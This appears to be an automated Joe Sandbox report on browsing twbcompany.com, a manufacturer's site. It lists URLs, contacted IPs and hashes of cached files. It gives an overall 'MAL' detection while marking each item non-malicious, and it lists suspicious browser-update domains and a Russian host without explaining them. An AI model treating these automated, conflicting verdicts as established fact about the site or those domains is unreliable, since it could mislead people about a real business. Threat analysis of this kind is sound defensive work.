https://www.twbcompany.com/intellectual-property/	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3-1024x576.	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/commercial-transportation/#primaryimage	chromecache_229.2.dr	false		unknown
https://yoast.com/wordpress/plugins/seo/	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/applications/#side-member	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/HFTB-MP-Rr-Rail-Lwr-1300-410.jpg);	chromecache_265.2.dr	false		unknown
https://www.twbcompany.com/wp-json/wp/v2/pages/26	chromecache_251.2.dr	false		unknown
https://www.twbcompany.com/quality/	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.twbcompany.com%2F	chromecache_251.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/b-pillar-outer.jpg);	chromecache_265.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-with-header.jpg);	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/HFTB-Tunnel.jpg);	chromecache_265.2.dr	false		unknown
https://www.twbcompany.com/?p=3692	chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/services/product-design/#breadcrumb	chromecache_266.2.dr	false		unknown
https://www.twbcompany.com/?p=391	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/services/application-development/	chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/es/commercial-transportation/	chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/?p=392	chromecache_265.2.dr	false		unknown
https://www.twbcompany.com/media/	chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/#breadcrumb	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.p	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
http://necolas.github.com/normalize.css/	chromecache_161.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/generic-bg.jpg);	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Liftgate.jpg);	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/applications/	chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/products/tailor-welded-hotform-blanks/#primaryimage	chromecache_265.2.dr	false		unknown
https://www.twbcompany.com/products/tailor-welded-hotform-blanks/#breadcrumb	chromecache_265.2.dr	false		unknown
https://www.twbcompany.com/products/tailor-welded-coils/	chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/	chromecache_161.2.dr	false		unknown
https://www.twbcompany.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.twbcompany.com%2F&for	chromecache_251.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg);	chromecache_229.2.dr	false		unknown
https://td.doubleclick.net	chromecache_199.2.dr, chromecache_173.2.dr	false		unknown
https://www.twbcompany.com/comments/feed/	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.76.79.50	virtual.urban-orthodontics.com	Spain	50129	TVHORADADAES	false
77.232.36.155	blacksaltys.com	Russian Federation	28968	EUT-ASEUTIPNetworkRU	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
172.67.69.206	browser-update.org	United States	13335	CLOUDFLARENETUS	false
104.21.7.183	browserupdate.org	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
192.185.125.111	www.twbcompany.com	United States	46606	UNIFIEDLAYER-AS-1US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528020
Start date and time:	2024-10-07 14:09:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://twbcompany.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@24/220@56/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://www.twbcompany.com/commercial-transportation/ Browse: https://www.twbcompany.com/services/logistics-and-service/ Browse: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Browse: https://www.twbcompany.com/services/forming-analysis/ Browse: https://www.twbcompany.com/services/product-design/ Browse: https://www.twbcompany.com/products/tailor-welded-hotform-blanks/ Browse: https://www.twbcompany.com/services/optimized-material-utilization/

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.185.206, 74.125.133.84, 34.104.35.123, 4.158.108.63, 142.250.185.234, 142.250.186.99, 95.101.111.184, 95.101.111.170, 142.250.185.142, 142.250.186.46, 142.250.185.232, 4.175.87.197, 199.232.210.172, 192.229.221.95, 142.250.185.72, 52.165.164.15, 13.85.23.206, 142.250.186.131, 142.250.186.110
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, clientservices.googleapis.com, f82e8462-d740-45f8-831b-d4934c82aec4.uksouth.cloudapp.azure.com, ipv6-2.6sc.co.edgekey.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, e212585.b.akamaiedge.net, wu-b-net.trafficmanager.net, www.google-analytics.com, glb.sls.prod.dcat.dsp.trafficmanager.net, c2.6sc.co.edgekey.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, fonts.gstatic.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, b2.6sc.co.edgekey.net, lftracking.trafficmanager.net, ctldl.windowsupdate.com, j2.6sc.co.edgekey.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, azureedge-t-prod.trafficmanager.net, clients.l.google.com, e212585.dscb.akamaiedge.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://twbcompany.com

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 11:10:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9718024553598803
Encrypted:	false
SSDEEP:	48:8E1dQTUwmAHnidAKZdA19ehwiZUklqehgy+3:8EYvmo3y
MD5:	7F83F26099E2D2368DC2BA549D3B815C
SHA1:	20FC5F703710FF95F7EF0B542A0B7B2C9258C423
SHA-256:	F3B6314DFF51603B066D4A3564A7AF77A133AA10542E8CF91A175DB937B47E7E
SHA-512:	F1692B1ACD27D13C62180602FE36EF28C8E19D683781FC51ACD8C4BCED981491746AD304169DBA8270EDB8AF4318C2E791B8493645930F62E2659EF54D09A169
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...........N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYBa....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYBa....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYBa....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYBa..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYCa...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 11:10:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9869317595277423
Encrypted:	false
SSDEEP:	48:8lc1dQTUwmAHnidAKZdA1weh/iZUkAQkqehny+2:8lcYvmi9QKy
MD5:	C5317710878ED3AB91D535C42E9D4C70
SHA1:	A6CF79A12D099C2342887D805803B0FA81E5FF07
SHA-256:	C37E6B4DFAAE525CC1B6A141249BDFA473791CC7321951C5A273431925D14633
SHA-512:	9150AFE7602FDC2B028DFD89A9DBFCBB7DFC43D6031BCF068ECD6EFB08A0561A8AA1C3DFD2DA5F637E147D7727ECEAF732701F23D9D0C298189CF2C80617E8E5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......~....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYBa....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYBa....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYBa....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYBa..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYCa...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.000853555621505
Encrypted:	false
SSDEEP:	48:8xz1dQTUwsHnidAKZdA14tseh7sFiZUkmgqeh7sBy+BX:8xzYvWnzy
MD5:	A64F91A0E716AF1B2CEFA3908CA895E1
SHA1:	DEFED4422F007C998C129F2D695E27377B0C18E0
SHA-256:	37FABC9757B498DB894A70EFFB94E48912789912449D948C4D9B33DAB39F7717
SHA-512:	0BFB97BE3E29D7F72524F37BD2080A4F860606C23FD7CD185F1EDFDB8E2ADEA3F2EF1F2F7A6AC52F5C606AF0724B4AE7DAE8A393B64A7B35DDA7E2467EDA5729
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYBa....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYBa....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYBa....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYBa..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 11:10:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9854219267788302
Encrypted:	false
SSDEEP:	48:8a1dQTUwmAHnidAKZdA1vehDiZUkwqehby+R:8aYvmppy
MD5:	3B2C4316A1A6D7508F2EFFB04FBF83CC
SHA1:	92D699C561FFF2BFA6169E7D269A5EF1EE19C272
SHA-256:	B2A1A5E2055174D0C7B89B8C826E15DF0E088C9BEE254D3061089FBCB58E9AFF
SHA-512:	041E93AA550E47D71417B377530D2228B9ADB6D594DB6826200FAB90368AFEC8B1A3EAAA2C2ACD0D849444EE0363F06B186DA63B2A9F3ABC59CC791C095CE88B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Wz....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYBa....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYBa....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYBa....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYBa..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYCa...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 11:10:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.974670672870449
Encrypted:	false
SSDEEP:	48:8+1dQTUwmAHnidAKZdA1hehBiZUk1W1qehty+C:8+YvmZ9Ny
MD5:	E57EA19570B2D196B5596804E4CBB051
SHA1:	0E5723444B85EA100E528F54D063C5FE490D2AC0
SHA-256:	1CA461D6A69184CF9988780F901C91A9FFD1F1F2872162E48A027699ACDC80A1
SHA-512:	CA6D3F3D3CE28AE1D53CAA7767D3ABD77D5A53FB1CB2CC4FEF118802B668992BB8C3E43D48B0558CFD5CE4D5764CADBFD7F68D81FC976070C86FEF69F44CA64C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....X.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYBa....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYBa....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYBa....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYBa..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYCa...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Oct 7 11:10:05 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.982400070580827
Encrypted:	false
SSDEEP:	48:8/a1dQTUwmAHnidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbzy+yT+:8/aYvmlT/TbxWOvTbzy7T
MD5:	FB6B060C0BC3F6BF1580E19DA56B4FEF
SHA1:	191AE483FAE60364960B719A74136D9FA010F260
SHA-256:	A565FADCBA8C17D10D81E3371695ADD99A1FBD553CAFF6EDF3FB7E21F68E6AF0
SHA-512:	BD912453E8FE7C190EBDB67CC6606F1D9C4FAFA6B031A1E6E70310A28F2F1B0194B63D3FC9922CB2B344C9BAAEEC5311223845CC31D5F1CA1D838D11A40750A7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......r....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IGYBa....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VGYBa....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VGYBa....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VGYBa..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VGYCa...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	18643
Entropy (8bit):	7.157392279838183
Encrypted:	false
SSDEEP:	192:fOfGo+D/jHP1lJlnR6oXY10i1dKepK83gUmSz12J/YTgSGs1nOSm1iqEFjIzdYs2:xFnTJlxYKi1l3CS05xs1nXmo/MY3mB2
MD5:	1B2B86348AA261D2540558DAB1D121A5
SHA1:	69616850F9A3357C8413084B3BA242056CE2925C
SHA-256:	2F9F0924EE8DCC6D619A76D6DB91C18FF9EDD7C239A4D6B5624AF6BE8518A485
SHA-512:	DE154B5FEF59EED2DDE53220AA2EC822C2AE0ACD77C9B9226832D0A9FBC78D2B7594475CDEA3850444406E94EF160EEEB382D4D3974100421C483CEED145D364
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/HFTB-Tunnel.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D60CCDEF092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:D60CCDEE092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	42720
Entropy (8bit):	5.008454275070529
Encrypted:	false
SSDEEP:	768:Bt4UcFm2AzEqnRFNifrgKIIl86ZUv9CAA9GcZ0eSqC:kKDF3B
MD5:	3DB1E65E46017DA03D9FB95850A3BDB9
SHA1:	B984C31B080175B842F75ADB1435DACC8E226551
SHA-256:	697BF6D6A888E382A81496C2D13F16A6B62FA3A9FE6B1BC811128DCB08DC3844
SHA-512:	CE24509C43DF39F4CB907EBD06C4CAD07C462BC7762537BC27715C53C96C9DEC97F9ACC064B5265ADF76E0CDED4C46AB51B94E8B175BBE31D10BE56B8072D7FF
Malicious:	false
Reputation:	low
Preview:	/. Lightcase - jQuery Plugin. * The smart and flexible Lightbox Plugin.. . @author..Cornel Boppart <cornel@bopp-art.com>. * @copyright.Author. . @version..2.1.2 (29/09/2015). /..;(function ($) {..window.lightcase = {...cache : {},....support : {},....labels : {....'errorMessage' : 'Source could not be found...',....'sequenceInfo.of' : ' of ',....'close' : 'Close',....'navigator.prev' : 'Prev',....'navigator.next' : 'Next',....'navigator.play' : 'Play',....'navigator.pause' : 'Pause'...},..../... Initializes the plugin... ... @param.{object}.options... * @return.{object}... /...init : function (options) {....return this.each(function () {.....$(this).unbind('click').click(function (event) {......event.preventDefault();......$(this).lightcase('start', options);.....});....});...},..../... Starts the plugin... ... @param.{object}.options... * @return.{void}... */...start : function (options) {....lightcase.settings = $.extend(true, {.....idPrefix : 'lightcase-',..

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12880)
Category:	downloaded
Size (bytes):	13380
Entropy (8bit):	5.330901876538843
Encrypted:	false
SSDEEP:	384:GzMmHW5MxT6jhomAul1KQoZRY5y6jHh1pz:GzMWGh/A0Kr25y6jHl
MD5:	B5D515B8F7FAC46027E60F37D73CBC51
SHA1:	C155D244E2CF60CF0616F8F3A5721A7987A255C2
SHA-256:	4FD944887D3A2438C387A3B6C9BF475A106EED33D7CA307ED94CAFDDC1A31553
SHA-512:	781E16329A2DACA844807B1FCD40F5E8AE8C3FE029A8F3FCFA18A2EFC084CBE7A9120BE742C5BE18A5E056EC94A96740D098D007DD382D2E76A353C4957C370F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3
Preview:	/* Modernizr 2.8.3 (Custom Build) \| MIT & BSD. * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-canvas-draganddrop-audio-video-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-cssclasses-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load. */.;window.Modernizr=function(a,b,c){function C(a){j.cssText=a}function D(a,b){return C(n.join(a+";")+(b\|\|""))}function E(a,b){return typeof a===b}function F(a,b){return!!~(""+a).indexOf(b)}function G(a,b){for(var d in a){var e=a[d];if(!F(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function H(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:E(f,"function")?f.bind(d\|\|b):f}return!1}function I(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");ret

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:RFUBLSn:jF
MD5:	69A6D6AC1F32FCB4D6F7FDB41A48750A
SHA1:	F30CAC04A502E28CD6659D05E17B3B1D828D9CFB
SHA-256:	2BEDB435BD912846827C7B366FA3D655076CA65D5329379220F4BD812FA5AF93
SHA-512:	14FFEFAFA59D5A581806E07AA6EB8585720ACCAD797674EFC9F64F2D9D5855BF4B070611091B66E3C5AE4BC30B4D671CDD990873578EE3433F51153ED47F6E6C
Malicious:	false
Reputation:	low
URL:	https://secure.leadforensics.com/js/131326.js
Preview:	// /js/131326.js

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	downloaded
Size (bytes):	64141
Entropy (8bit):	7.971609551189249
Encrypted:	false
